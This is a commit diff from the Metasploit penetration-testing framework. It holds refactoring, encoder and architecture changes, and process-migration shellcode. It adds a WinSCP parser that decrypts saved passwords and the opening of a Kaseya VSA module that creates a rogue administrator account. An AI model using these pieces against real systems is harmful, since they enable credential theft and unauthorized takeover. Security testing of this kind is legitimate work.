Merge pull request #22 from rapid7/master

merging
MS-2855/keylogger-mettle-extension
Pedro Ribeiro 2015-10-02 16:59:40 +02:00
commit 568b33c67f
85 changed files with 3352 additions and 496 deletions

View File

@ -16,7 +16,7 @@ PATH
packetfu (= 1.1.11)
railties
rb-readline-r7
recog (= 2.0.6)
recog (= 2.0.14)
robots
rubyzip (~> 1.1)
sqlite3
@ -25,7 +25,7 @@ PATH
activerecord (>= 4.0.9, < 4.1.0)
metasploit-credential (= 1.0.1)
metasploit-framework (= 4.11.4)
metasploit_data_models (= 1.2.5)
metasploit_data_models (= 1.2.7)
pg (>= 0.11)
metasploit-framework-pcap (4.11.4)
metasploit-framework (= 4.11.4)
@ -126,7 +126,7 @@ GEM
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.15)
metasploit_data_models (1.2.5)
metasploit_data_models (1.2.7)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
arel-helpers
@ -178,7 +178,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (10.4.2)
rb-readline-r7 (0.5.2.0)
recog (2.0.6)
recog (2.0.14)
nokogiri
redcarpet (3.2.3)
rkelly-remix (0.0.6)

View File

@ -86,7 +86,7 @@ module Auxiliary::UDPScanner
p.recalc
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
1.upto(num_packets) do |x|
capture_sendto(p, ip)
break unless capture_sendto(p, ip)
end
close_pcap
end

View File

@ -153,6 +153,8 @@ module Msf::DBManager::ExploitAttempt
attempt_info[:vuln_id] = vuln.id
vuln.vuln_attempts.create(attempt_info)
create_match_result_for_vuln(vuln,opts)
# Correct the vuln's associated service if necessary
if svc and vuln.service_id.nil?
vuln.service = svc
@ -176,4 +178,59 @@ module Msf::DBManager::ExploitAttempt
}
end
# Create a MetasploitDataModels::AutomaticExploitation::Match result for the given vuln
# @option opts [Integer] :run_id
# @return [void]
def create_match_result_for_vuln(vuln, opts)
run = MetasploitDataModels::AutomaticExploitation::Run.where(id:opts[:run_id]).last
if run.present?
match = MetasploitDataModels::AutomaticExploitation::Match.by_run_and_vuln(run,vuln).last
# If no match found in the current run
unless match.present?
# Create match if the vuln has the data we need to create a match
match = create_match_for_vuln(vuln,opts.merge(run:run))
end
create_match_result(opts.merge(match:match,run:run)) if match.present?
end
end
# Create a MetasploitDataModels::AutomaticExploitation::Match result with a success or failure state
# @option opts [MetasploitDataModels::AutomaticExploitation::Match] :match
# @option opts [MetasploitDataModels::AutomaticExploitation::Run] :run
# @return [void]
def create_match_result(opts)
if opts[:session_id]
state = MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED
else
state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED
end
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: opts[:match],
run: opts[:run],
state: state
)
end
# Create a MetasploitDataModels::AutomaticExploitation::Match for the given vuln
# @option vuln [Mdm::Vuln] :vuln
# @option opts [Mdm::Workspace] :workspace
# @option opts [String] :username
# @return [ MetasploitDataModels::AutomaticExploitation::Match, MetasploitDataModels::AutomaticExploitation::Run]
def create_match_for_vuln(vuln,opts)
wspace = opts[:workspace] || workspace
run = opts[:run]
module_fullname = opts[:module]
run.match_set.create_match_for_vuln(
vuln,
workspace: wspace,
module_fullname: module_fullname
)
end
end

View File

@ -91,18 +91,10 @@ module Msf::DBManager::Session
wspace = s.workspace
if session
if session.exploit.user_data_is_match?
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: session.exploit.user_data[:match],
run: session.exploit.user_data[:run],
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED,
)
infer_vuln_from_session(session, wspace)
elsif session.via_exploit
# This is a live session, we know the host is vulnerable to something.
infer_vuln_from_session(session, wspace)
end
if session and session.via_exploit
# This is a live session, we know the host is vulnerable to something.
infer_vuln_from_session(session, wspace)
end
s
@ -158,6 +150,7 @@ module Msf::DBManager::Session
username: session.username,
vuln: vuln,
workspace: wspace,
run_id: session.exploit.user_data.try(:[], :run_id)
}
framework.db.report_exploit_success(attempt_info)

View File

@ -1270,7 +1270,8 @@ class Exploit < Msf::Module
:fail_detail => self.fail_detail,
:target_name => self.target.name,
:username => self.owner,
:refs => self.references
:refs => self.references,
:run_id => self.datastore['RUN_ID']
}
if self.datastore['RHOST'] and self.options['RHOST']
@ -1284,15 +1285,6 @@ class Exploit < Msf::Module
end
end
if user_data_is_match?
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: user_data[:match],
run: user_data[:run],
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED,
)
end
framework.db.report_exploit_failure(info)
end

View File

@ -232,17 +232,24 @@ module Msf
end
end
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# a payload and a destination address. To send to the broadcast address, set bcast
# to true (this will guarantee that packets will be sent even if ARP doesn't work
# out).
# Sends a payload to a given target using the pcap capture interface
#
# == Parameters:
# payload:: The payload String to send
# dhost:: the destination host to send to
# bcast:: set to `true` to send to the broadcast address if necessary
# dev:: the name of the network interface to send the payload on
#
# == Returns:
# The number of bytes sent iff the payload was successfully sent/injected. `false` otherwise
def capture_sendto(payload="", dhost=nil, bcast=false, dev=nil)
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" unless self.capture
raise RuntimeError, "Must specify a host to sendto" unless dhost
dev ||= datastore['INTERFACE']
dst_mac, src_mac = lookup_eth(dhost, dev)
if dst_mac == nil and not bcast
raise RuntimeError, 'Unable to determine the destination MAC and bcast is false'
vprint_error("Unable to determine the destination MAC for #{dhost} on #{dev} and bcast is false")
return false
end
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
end

View File

@ -210,6 +210,7 @@ protected
# Wait for session, but don't wait long.
delay = 0.01
end
exploit.handle_exception e
end

View File

@ -59,10 +59,6 @@ class Module
# datastore, consumed by #replicant to allow clean override of MSF module methods.
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
# The set of keys in {#user_data} that make {#user_data_is_match?} return
# true
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
# Make include public so we can runtime extend
public_class_method :include
@ -295,13 +291,6 @@ class Module
raise RuntimeError, "#{reason.to_s}: #{msg}"
end
# Whether {#user_data} contains everything necessary to make a
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
#
# @return [bool]
def user_data_is_match?
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
end
##
#
@ -347,7 +336,6 @@ class Module
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
# from.
#
# @see #user_data_is_match?
attr_accessor :user_data
protected

View File

@ -524,4 +524,12 @@ class Msf::Module::Platform
Rank = 100
Alias = "firefox"
end
#
# Mainframe
#
class Mainframe < Msf::Module::Platform
Rank = 100
Alias = "mainframe"
end
end

View File

@ -30,6 +30,7 @@ class Payload < Msf::Module
require 'msf/core/payload/java'
require 'msf/core/payload/dalvik'
require 'msf/core/payload/firefox'
require 'msf/core/payload/mainframe'
##
#

View File

@ -0,0 +1,33 @@
# -*- coding: binary -*-
require 'msf/core'
###
#
# This class is here to implement advanced features for mainframe based
# payloads. Mainframe payloads are expected to include this module if
# they want to support these features.
#
###
module Msf::Payload::Mainframe
#
# Z notes
# Z notes
#
def initialize(info = {})
ret = super(info)
end
#
# Returns a list of compatible encoders based on mainframe architecture
# most will not work because of the different architecture
# an XOR-based encoder will be defined soon
#
def compatible_encoders
encoders = super()
encoders2 = ['/generic\/none/','none']
return encoders2
end
end

View File

@ -240,8 +240,19 @@ module Msf::Payload::Windows::PrependMigrate
; allocate memory in the process (VirtualAllocEx())
; get handle
push 0x40 ; RWX
add bh,0x10 ; ebx = 0x1000
add bh, 0x10 ; ebx = 0x1000
push ebx ; MEM_COMMIT
EOS
if buf.length > 4096
# probably stageless, so we don't have shellcode size constraints,
# and so we can just set ebx to the size of the payload
migrate_asm << <<-EOS
mov ebx, #{payloadsize} ; stageless size
EOS
end
migrate_asm << <<-EOS
push ebx ; size
xor ebx,ebx
push ebx ; address
@ -445,10 +456,11 @@ module Msf::Payload::Windows::PrependMigrate
call rbp ; GetStartupInfoA( &si );
jmp getcommand
gotcommand:
gotcommand:
pop rsi ; rsi = address of process name (command line)
; create the process
push 0 ; keep the stack aligned
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
push rdi ; lpProcessInformation : write processinfo here
lea rcx,[rsp+0x58]
@ -474,7 +486,22 @@ module Msf::Payload::Windows::PrependMigrate
; get handle
push 0x40 ; RWX
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
EOS
if buf.length > 4096
# probably stageless, so we don't have shellcode size constraints,
# and so we can just set r8 to the size of the payload
migrate_asm << <<-EOS
mov r8, #{payloadsize} ; stageless size
EOS
else
# otherwise we'll juse reuse r9 (4096) for size
migrate_asm << <<-EOS
mov r8,r9 ; size
EOS
end
migrate_asm << <<-EOS
xor rdx,rdx ; address
mov rcx, [rdi] ; handle
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )

View File

@ -1777,7 +1777,7 @@ class Db
case arg
when '-h','--help'
print_line "Usage:"
print_line " db_export -f <format> [-a] [filename]"
print_line " db_export -f <format> [filename]"
print_line " Format can be one of: #{export_formats.join(", ")}"
when '-f','--format'
format = args.shift.to_s.downcase

View File

@ -18,6 +18,7 @@ module Arch
#
require 'rex/arch/x86'
require 'rex/arch/sparc'
require 'rex/arch/zarch'
#
# This routine adjusts the stack pointer for a given architecture.
@ -64,6 +65,8 @@ module Arch
[addr].pack('V')
when ARCH_ARMBE
[addr].pack('N')
when ARCH_ZARCH
[addr].pack('Q>')
end
end
@ -95,6 +98,8 @@ module Arch
return ENDIAN_LITTLE
when ARCH_ARMBE
return ENDIAN_BIG
when ARCH_ZARCH
return ENDIAN_BIG
end
return ENDIAN_LITTLE

View File

@ -421,8 +421,7 @@ module X86
# This method returns an array containing a geteip stub, a register, and an offset
# This method will return nil if the getip generation fails
#
def self.geteip_fpu(badchars)
def self.geteip_fpu(badchars, modified_registers = [])
#
# Default badchars to an empty string
#
@ -470,18 +469,29 @@ module X86
#
while(dsts.length > 0)
buf = ''
mod_registers = [ESP]
dst = dsts[ rand(dsts.length) ]
dsts.delete(dst)
# If the register is not ESP, copy ESP
if (dst != ESP)
next if badchars.index( (0x70 + dst).chr )
mod_registers.push(dst)
if badchars.index( (0x70 + dst).chr )
mod_registers.pop(dst)
next
end
if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
buf << "\x89" + (0xE0 + dst).chr
else
next if badchars.index("\x54")
next if badchars.index( (0x58+dst).chr )
if badchars.index("\x54")
mod_registers.pop(dst)
next
end
if badchars.index( (0x58+dst).chr )
mod_registers.pop(dst)
next
end
buf << "\x54" + (0x58 + dst).chr
end
end
@ -506,6 +516,7 @@ module X86
regs.delete(reg)
next if reg == ESP
next if badchars.index( (0x58 + reg).chr )
mod_registers.push(reg)
# Pop the value back out
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
@ -513,8 +524,11 @@ module X86
# Fix the value to point to self
gap = out.length - buf.length
mod_registers.uniq!
modified_registers.concat(mod_registers)
return [out, REG_NAMES32[reg].upcase, gap]
end
mod_registers.pop(dst)
end
return nil

17
lib/rex/arch/zarch.rb Normal file
View File

@ -0,0 +1,17 @@
# -*- coding: binary -*-
module Rex
module Arch
#
# base module for ZARCH creation 8/13/15
# Author: BeS Bigendian Smalls
#
module ZARCH
end
end end

View File

@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik'
ARCH_PYTHON = 'python'
ARCH_NODEJS = 'nodejs'
ARCH_FIREFOX = 'firefox'
ARCH_ZARCH = 'zarch'
ARCH_TYPES =
[
ARCH_X86,
@ -110,7 +111,8 @@ ARCH_TYPES =
ARCH_DALVIK,
ARCH_PYTHON,
ARCH_NODEJS,
ARCH_FIREFOX
ARCH_FIREFOX,
ARCH_ZARCH,
]
ARCH_ALL = ARCH_TYPES

View File

@ -8,22 +8,49 @@ module Alpha2
class AlphaMixed < Generic
def self.gen_decoder_prefix(reg, offset)
if (offset > 32)
raise "Critical: Offset is greater than 32"
# Generates the decoder stub prefix
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha mixed decoder stub prefix
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
if offset > 32
raise 'Critical: Offset is greater than 32'
end
mod_registers = []
nop_regs = []
mod_regs = []
edx_regs = []
# use inc ebx as a nop here so we still pad correctly
if (offset <= 16)
if offset <= 16
nop = 'C' * offset
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'J' * (17 - offset)
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
else
mod = 'A' * (offset - 16)
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
nop = 'C' * (16 - mod.length)
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod << nop + '7QZ'
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'B' * (17 - (offset - 16))
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
end
regprefix = {
'EAX' => 'PY' + mod, # push eax, pop ecx
'ECX' => 'I' + mod, # dec ecx
@ -36,15 +63,38 @@ class AlphaMixed < Generic
}
reg.upcase!
if (not regprefix.keys.include? reg)
raise ArgumentError.new("Invalid register name")
unless regprefix.keys.include?(reg)
raise ArgumentError.new('Invalid register name')
end
case reg
when 'EDX'
mod_registers.concat(edx_regs)
mod_registers.concat(nop_regs)
mod_registers.push(Rex::Arch::X86::ECX)
else
mod_registers.push(Rex::Arch::X86::ECX)
mod_registers.concat(mod_regs)
end
mod_registers.uniq!
modified_registers.concat(mod_registers)
return regprefix[reg]
end
def self.gen_decoder(reg, offset)
# Generates the decoder stub
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha mixed decoder stub
def self.gen_decoder(reg, offset, modified_registers = [])
mod_registers = []
decoder =
gen_decoder_prefix(reg, offset) +
gen_decoder_prefix(reg, offset, mod_registers) +
"jA" + # push 0x41
"X" + # pop eax
"P" + # push eax
@ -62,7 +112,18 @@ class AlphaMixed < Generic
"uJ" + # jnz short -------------------------
"I" # first encoded char, fixes the above J
return decoder
mod_registers.concat(
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EAX,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EDX
])
mod_registers.uniq!
modified_registers.concat(mod_registers)
decoder
end
end end end end

View File

@ -9,21 +9,47 @@ module Alpha2
class AlphaUpper < Generic
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
def self.gen_decoder_prefix(reg, offset)
if (offset > 20)
raise "Critical: Offset is greater than 20"
# Generates the decoder stub prefix
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha upper decoder stub prefix
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
if offset > 20
raise 'Critical: Offset is greater than 20'
end
mod_registers = []
nop_regs = []
mod_regs = []
edx_regs = []
# use inc ebx as a nop here so we still pad correctly
if (offset <= 10)
nop = 'C' * offset
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'J' * (11 - offset)
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
else
mod = 'A' * (offset - 10)
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
nop = 'C' * (10 - mod.length)
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod << nop + 'QZ'
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'B' * (11 - (offset - 10))
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
end
regprefix = {
'EAX' => 'PY' + mod, # push eax, pop ecx
@ -33,20 +59,41 @@ class AlphaUpper < Generic
'ESP' => 'TY' + mod, # push esp, pop ecx
'EBP' => 'UY' + mod, # push ebp, pop ecx
'ESI' => 'VY' + mod, # push esi, pop ecx
'EDI' => 'WY' + mod, # push edi, pop edi
'EDI' => 'WY' + mod, # push edi, pop ecx
}
reg.upcase!
if (not regprefix.keys.include? reg)
unless regprefix.keys.include?(reg)
raise ArgumentError.new("Invalid register name")
end
return regprefix[reg]
case reg
when 'EDX'
mod_registers.concat(edx_regs)
mod_registers.concat(nop_regs)
mod_registers.push(Rex::Arch::X86::ECX)
else
mod_registers.push(Rex::Arch::X86::ECX)
mod_registers.concat(mod_regs)
end
mod_registers.uniq!
modified_registers.concat(mod_registers)
return regprefix[reg]
end
def self.gen_decoder(reg, offset)
# Generates the decoder stub
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha upper decoder stub
def self.gen_decoder(reg, offset, modified_registers = [])
mod_registers = []
decoder =
gen_decoder_prefix(reg, offset) +
gen_decoder_prefix(reg, offset, mod_registers) +
"V" + # push esi
"T" + # push esp
"X" + # pop eax
@ -73,6 +120,18 @@ class AlphaUpper < Generic
"JJ" + # jnz * --------------------
"I" # first encoded char, fixes the above J
mod_registers.concat(
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EAX,
Rex::Arch::X86::ESI,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EDX
])
mod_registers.uniq!
modified_registers.concat(mod_registers)
return decoder
end

108
lib/rex/parser/winscp.rb Normal file
View File

@ -0,0 +1,108 @@
require 'rex/parser/ini'
module Rex
module Parser
module WinSCP
PWDALG_SIMPLE_MAGIC = 0xA3
PWDALG_SIMPLE_FLAG = 0xFF
def read_and_parse_ini(filename)
file = File.read(filename)
return if file.to_s.empty?
parse_ini(file)
end
def parse_protocol(fsprotocol)
return 'Unknown' if fsprotocol.nil?
case fsprotocol
when 5 then 'FTP'
when 0 then 'SSH'
else
'Unknown'
end
end
def parse_ini(file)
results = []
raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
ini = Rex::Parser::Ini.from_s(file)
if ini['Configuration\\Security']
# if a Master Password is in use we give up
if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1
raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
end
end
# Runs through each group in the ini file looking for all of the Sessions
ini.each_key do |group|
if group.include?('Sessions') && ini[group].has_key?('Password')
# Decrypt our password, and report on results
encrypted_password = ini[group]['Password']
user = ini[group]['UserName']
host = ini[group]['HostName']
sname = parse_protocol(ini[group]['FSProtocol'].to_i)
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
results << {
hostname: host,
password: plaintext,
portnumber: ini[group]['PortNumber'] || 22,
username: user,
protocol: sname
}
end
end
results
end
# Decrypts the next character in the password sequence
def decrypt_next_char(pwd)
if pwd.nil? || pwd.length <= 0
return 0, pwd
end
# Takes the first char from the encrypted password and then left shifts the returned index by 4 bits
a = pwd[0].hex << 4
# Takes the second char from the encrypted password
b = pwd[1].hex
# Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF
result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG
# Strips the first two chars off and returns our result
return result, pwd[2..-1]
end
def decrypt_password(pwd, key)
flag, pwd = decrypt_next_char(pwd)
if flag == PWDALG_SIMPLE_FLAG
_, pwd = decrypt_next_char(pwd)
length, pwd = decrypt_next_char(pwd)
else
length = flag
end
del, pwd = decrypt_next_char(pwd)
pwd = pwd[del*2..-1]
result = ""
length.times do
r, pwd = decrypt_next_char(pwd)
result << r.chr
end
if flag == PWDALG_SIMPLE_FLAG
result = result[key.length..-1]
end
result
end
end
end
end

View File

@ -45,6 +45,93 @@ module Text
DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ]
# The Iconv translation table for IBM's mainframe / System Z
# (z/os, s390, mvs, etc) - This is a different implementation
# of EBCDIC than the Iconv_EBCDIC below.
# It is technically referred to as Code Page IBM1047.
# This will be net new (until Ruby supports 1047 code page)
# for all Mainframe / SystemZ based modules
# that need to convert ASCII to EBCDIC
#
# The bytes are indexed by ASCII conversion number
# e.g. Iconv_IBM1047[0x41] == \xc1 for letter "A"
#
# Note the characters CANNOT be assumed to be in any logical
# order. Nor are the tables reversible. Lookups must be for each byte
# https://gist.github.com/bigendiansmalls/b08483ecedff52cc8fa3
#
Iconv_IBM1047 = [
"\x00","\x01","\x02","\x03","\x37","\x2d","\x2e","\x2f",
"\x16","\x05","\x15","\x0b","\x0c","\x0d","\x0e","\x0f","\x10",
"\x11","\x12","\x13","\x3c","\x3d","\x32","\x26","\x18","\x19",
"\x3f","\x27","\x1c","\x1d","\x1e","\x1f","\x40","\x5a","\x7f",
"\x7b","\x5b","\x6c","\x50","\x7d","\x4d","\x5d","\x5c","\x4e",
"\x6b","\x60","\x4b","\x61","\xf0","\xf1","\xf2","\xf3","\xf4",
"\xf5","\xf6","\xf7","\xf8","\xf9","\x7a","\x5e","\x4c","\x7e",
"\x6e","\x6f","\x7c","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6",
"\xc7","\xc8","\xc9","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6",
"\xd7","\xd8","\xd9","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7",
"\xe8","\xe9","\xad","\xe0","\xbd","\x5f","\x6d","\x79","\x81",
"\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x91",
"\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\xa2",
"\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xc0","\x4f",
"\xd0","\xa1","\x07","\x20","\x21","\x22","\x23","\x24","\x25",
"\x06","\x17","\x28","\x29","\x2a","\x2b","\x2c","\x09","\x0a",
"\x1b","\x30","\x31","\x1a","\x33","\x34","\x35","\x36","\x08",
"\x38","\x39","\x3a","\x3b","\x04","\x14","\x3e","\xff","\x41",
"\xaa","\x4a","\xb1","\x9f","\xb2","\x6a","\xb5","\xbb","\xb4",
"\x9a","\x8a","\xb0","\xca","\xaf","\xbc","\x90","\x8f","\xea",
"\xfa","\xbe","\xa0","\xb6","\xb3","\x9d","\xda","\x9b","\x8b",
"\xb7","\xb8","\xb9","\xab","\x64","\x65","\x62","\x66","\x63",
"\x67","\x9e","\x68","\x74","\x71","\x72","\x73","\x78","\x75",
"\x76","\x77","\xac","\x69","\xed","\xee","\xeb","\xef","\xec",
"\xbf","\x80","\xfd","\xfe","\xfb","\xfc","\xba","\xae","\x59",
"\x44","\x45","\x42","\x46","\x43","\x47","\x9c","\x48","\x54",
"\x51","\x52","\x53","\x58","\x55","\x56","\x57","\x8c","\x49",
"\xcd","\xce","\xcb","\xcf","\xcc","\xe1","\x70","\xdd","\xde",
"\xdb","\xdc","\x8d","\x8e","\xdf"
]
#
# This is the reverse of the above, converts EBCDIC -> ASCII
# The bytes are indexed by IBM1047(EBCDIC) conversion number
# e.g. Iconv_ISO8859_1[0xc1] = \x41 for letter "A"
#
# Note the characters CANNOT be assumed to be in any logical (e.g. sequential)
# order. Nor are the tables reversible. Lookups must be done byte by byte
#
Iconv_ISO8859_1 = [
"\x00","\x01","\x02","\x03","\x9c","\x09","\x86","\x7f",
"\x97","\x8d","\x8e","\x0b","\x0c","\x0d","\x0e","\x0f","\x10",
"\x11","\x12","\x13","\x9d","\x0a","\x08","\x87","\x18","\x19",
"\x92","\x8f","\x1c","\x1d","\x1e","\x1f","\x80","\x81","\x82",
"\x83","\x84","\x85","\x17","\x1b","\x88","\x89","\x8a","\x8b",
"\x8c","\x05","\x06","\x07","\x90","\x91","\x16","\x93","\x94",
"\x95","\x96","\x04","\x98","\x99","\x9a","\x9b","\x14","\x15",
"\x9e","\x1a","\x20","\xa0","\xe2","\xe4","\xe0","\xe1","\xe3",
"\xe5","\xe7","\xf1","\xa2","\x2e","\x3c","\x28","\x2b","\x7c",
"\x26","\xe9","\xea","\xeb","\xe8","\xed","\xee","\xef","\xec",
"\xdf","\x21","\x24","\x2a","\x29","\x3b","\x5e","\x2d","\x2f",
"\xc2","\xc4","\xc0","\xc1","\xc3","\xc5","\xc7","\xd1","\xa6",
"\x2c","\x25","\x5f","\x3e","\x3f","\xf8","\xc9","\xca","\xcb",
"\xc8","\xcd","\xce","\xcf","\xcc","\x60","\x3a","\x23","\x40",
"\x27","\x3d","\x22","\xd8","\x61","\x62","\x63","\x64","\x65",
"\x66","\x67","\x68","\x69","\xab","\xbb","\xf0","\xfd","\xfe",
"\xb1","\xb0","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70",
"\x71","\x72","\xaa","\xba","\xe6","\xb8","\xc6","\xa4","\xb5",
"\x7e","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a",
"\xa1","\xbf","\xd0","\x5b","\xde","\xae","\xac","\xa3","\xa5",
"\xb7","\xa9","\xa7","\xb6","\xbc","\xbd","\xbe","\xdd","\xa8",
"\xaf","\x5d","\xb4","\xd7","\x7b","\x41","\x42","\x43","\x44",
"\x45","\x46","\x47","\x48","\x49","\xad","\xf4","\xf6","\xf2",
"\xf3","\xf5","\x7d","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f",
"\x50","\x51","\x52","\xb9","\xfb","\xfc","\xf9","\xfa","\xff",
"\x5c","\xf7","\x53","\x54","\x55","\x56","\x57","\x58","\x59",
"\x5a","\xb2","\xd4","\xd6","\xd2","\xd3","\xd5","\x30","\x31",
"\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\xb3",
"\xdb","\xdc","\xd9","\xda","\x9f"
]
# The Iconv translation table. The Iconv gem is deprecated in favor of
# String#encode, yet there is no encoding for EBCDIC. See #4525
Iconv_EBCDIC = [
@ -396,7 +483,7 @@ module Text
new_str.join
end
# A native implementation of the EBCIDC to ASCII conversion table, since
# A native implementation of the EBCDIC to ASCII conversion table, since
# EBCDIC isn't available to String#encode as of Ruby 2.1
#
# @param str [String] an EBCDIC encoded string
@ -414,6 +501,39 @@ module Text
new_str.join
end
#
# The next two are the same as the above, except strictly for z/os
# conversions
# strictly for IBM1047 -> ISO8859-1
# A native implementation of the IBM1047(EBCDIC) -> ISO8859-1(ASCII)
# conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1
# all 256 bytes are defined
#
def self.to_ibm1047(str)
return str if str.nil?
new_str = []
str.each_byte do |x|
new_str << Iconv_IBM1047[x.ord]
end
new_str.join
end
#
# The next two are the same as the above, except strictly for z/os
# conversions
# strictly for ISO8859-1 -> IBM1047
# A native implementation of the ISO8859-1(ASCII) -> IBM1047(EBCDIC)
# conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1
#
def self.from_ibm1047(str)
return str if str.nil?
new_str = []
str.each_byte do |x|
new_str << Iconv_ISO8859_1[x.ord]
end
new_str.join
end
#
# Returns the words in +str+ as an Array.
#

View File

@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
# Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
# Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '1.2.5'
spec.add_runtime_dependency 'metasploit_data_models', '1.2.7'
# depend on metasploit-framewrok as the optional gems are useless with the actual code
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
# Needed for module caching in Mdm::ModuleDetails

View File

@ -73,7 +73,7 @@ Gem::Specification.new do |spec|
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
spec.add_runtime_dependency 'railties'
# required for OS fingerprinting
spec.add_runtime_dependency 'recog', '2.0.6'
spec.add_runtime_dependency 'recog', '2.0.14'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya VSA Master Administrator Account Creation',
'Description' => %q{
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
Master Administrator account. Normally this page is only accessible via the localhost
interface, but the application does nothing to prevent this apart from attempting to
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
v9.0.0.3.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6922'],
['ZDI', '15-448'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
],
'DisclosureDate' => 'Sep 23 2015'))
register_options(
[
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
